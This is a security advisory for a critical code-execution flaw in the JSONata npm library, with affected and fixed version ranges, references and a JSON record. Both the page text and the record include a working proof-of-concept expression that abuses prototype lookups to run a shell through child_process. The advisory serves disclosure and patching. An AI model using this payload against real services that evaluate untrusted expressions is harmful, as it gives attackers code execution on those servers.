GHSA-8GQ3-VP5J-2GRP
Vulnerability from github – Published: 2026-08-21 20:57 – Updated: 2026-08-21 20:57
VLAI
Summary
JSONata: Arbitrary Code Execution via crafted JSONata expressions
Details
Impact
Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function:
https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705
This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
__lookupSetter__('__proto__')(constructor);
__defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
valueOf().l
)
`);
await expression.evaluate({});
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.8.7"
},
"package": {
"ecosystem": "npm",
"name": "jsonata"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "jsonata"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77413"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T20:57:07Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Impact\n\nBefore JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function:\nhttps://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705\n\nThis was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n __lookupSetter__(\u0027__proto__\u0027)(constructor);\n __defineGetter__(\u0027l\u0027, constructor(\"return\nprocess.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027sh\u0027,{stdio:\u0027inherit\u0027}).toString()\"));\n valueOf().l\n)\n`);\n\nawait expression.evaluate({});\n```",
"id": "GHSA-8gq3-vp5j-2grp",
"modified": "2026-08-21T20:57:07Z",
"published": "2026-08-21T20:57:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grp"
},
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/pull/794"
},
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e"
},
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50d"
},
{
"type": "PACKAGE",
"url": "https://github.com/jsonata-js/jsonata"
},
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"
},
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "JSONata: Arbitrary Code Execution via crafted JSONata expressions"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…